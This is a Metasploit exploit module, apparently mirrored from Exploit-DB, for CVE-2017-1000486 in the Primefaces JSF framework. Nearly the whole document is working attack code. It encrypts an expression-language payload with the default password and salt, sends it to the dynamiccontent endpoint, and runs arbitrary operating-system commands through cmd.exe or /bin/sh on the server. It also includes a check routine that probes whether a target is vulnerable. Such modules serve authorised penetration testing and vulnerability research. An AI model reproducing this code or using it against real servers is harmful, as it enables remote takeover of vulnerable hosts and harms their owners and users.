Primefaces 5.x – Remote Code Execution (Metasploit)

  • 作者: Bjoern Schuette
    日期: 2018-01-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43733/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = NormalRanking
    
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::HttpClient
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'CVE-2017-1000486 Primefaces Remote Code Execution Exploit',
    'Description'=> %q{
    This module exploits an expression language remote code execution flaw in the Primefaces JSF framework.
    Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto and default encryption password and salt.
    },
    'Author' => [ 'Bjoern Schuette' ],
    'License'=> MSF_LICENSE,
    'References' =>
    [
    ['CVE', 'CVE-2017-1000486'],
    ['URL', 'http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
    ['URL', 'https://cryptosense.com/weak-encryption-flaw-in-primefaces/'],
    ['URL', 'http://schuette.se/2018/01/16/in-your-primeface/']
    ],
    'Privileged' => true,
    'Payload'=>
    {
    'Compat'=>
    {
    'PayloadType' => 'cmd'
    }
    
    },
    'DefaultOptions' =>
    {
    'WfsDelay' => 30
    },
    'DisclosureDate' => 'Feb 15 2016',
    'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
    'Arch' => ARCH_CMD,
    'Targets'=> [
    [
    'Universal', {
    'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
    'Arch' => [ ARCH_CMD ],
    },
    ],
    ],
    'DefaultTarget' => 0))
    
    register_options([
    Opt::RPORT(80),
    OptString.new('PASSWORD', [ true , "The password to login", 'primefaces']),
    OptString.new('TARGETURI', [true, 'The base path to primefaces', '/javax.faces.resource/dynamiccontent.properties.xhtml']),
    OptString.new('CMD', [ false , "Command to execute", '']),
    ])
    end
    
    def encrypt_el(password, payload)
    
    salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
    iterationCount = 19
    
    cipher = OpenSSL::Cipher.new("DES")
    cipher.encrypt
    cipher.pkcs5_keyivgen password, salt, iterationCount
    
    ciphertext = cipher.update payload
    ciphertext << cipher.final
    return ciphertext
    
    end
    
    def http_send_command(cmd, payloadEL)
    uri = normalize_uri(target_uri.path)
    encrypted_payload = encrypt_el(datastore['PASSWORD'], payloadEL)
    encrypted_payload_base64 = Rex::Text.encode_base64(encrypted_payload)
    encrypted_payload_base64_url_encoded = Rex::Text.uri_encode(encrypted_payload_base64)
    
    # send the payload and execute command
    res = send_request_cgi({
    'method' => 'POST',
    'uri' => uri,
    'vars_post' => {
    'pfdrt' => 'sc',
    'ln'=> 'primefaces',
    'pfdrid' => encrypted_payload_base64_url_encoded
    }
    })
    
    if res.nil?
    vprint_error("Connection timed out")
    fail_with(Failure::Unknown, "Failed to trigger the Enter button")
    end
    
    if res && res.headers && (res.code == 302 || res.code == 200)
    print_good("HTTP return code #{res.code}")
    else
    vprint_error(res.body)
    fail_with(Failure::Unknown, "#{peer} - Unknown error during execution")
    end
    return res
    end
    
    def exploit
    cmd=""
    if not datastore['CMD'].empty?
    cmd = datastore['CMD']
    else
    cmd = payload.encoded
    end
    payloadEL = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
    payloadEL << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
    payloadEL << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
    payloadEL << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
    payloadEL << '${session.getAttribute("scriptengine").eval('
    payloadEL << '"var os = java.lang.System.getProperty(\"os.name\");'
    payloadEL << 'var proc = null;'
    payloadEL << 'os.toLowerCase().contains(\"win\")? '
    payloadEL << 'proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()' % cmd
    payloadEL << ' : proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();' % cmd
    payloadEL << 'var is = proc.getInputStream();'
    payloadEL << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
    payloadEL << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
    payloadEL << '${facesContext.getExternalContext().getResponse().getWriter().close()}';
    
    vprint_status("Attempting to execute: #{cmd}")
    resp = http_send_command(cmd, payloadEL)
    print_line(resp.body.to_s)
    m = resp.body.to_s 
    if m.empty?
    print_error("This server may not be vulnerable")
    end
    return
    end
    
    def check
    var_a = rand_text_alpha_lower(4)
    payloadEL = "${facesContext.getExternalContext().setResponseHeader(\"primesecretchk\", %s" % var_a
    res = http_send_command(var_a, payloadEL)
    if res.headers
    if res.headers["primesecretchk"] == #{var_a}
    vprint_good("Victim evaluates EL expressions")
    return Exploit::CheckCode::Vulnerable
    end
    else
    vprint_error("Unable to determine due to a HTTP connection timeout")
    return Exploit::CheckCode::Unknown
    end
    return Exploit::CheckCode::Safe
    end
    
    end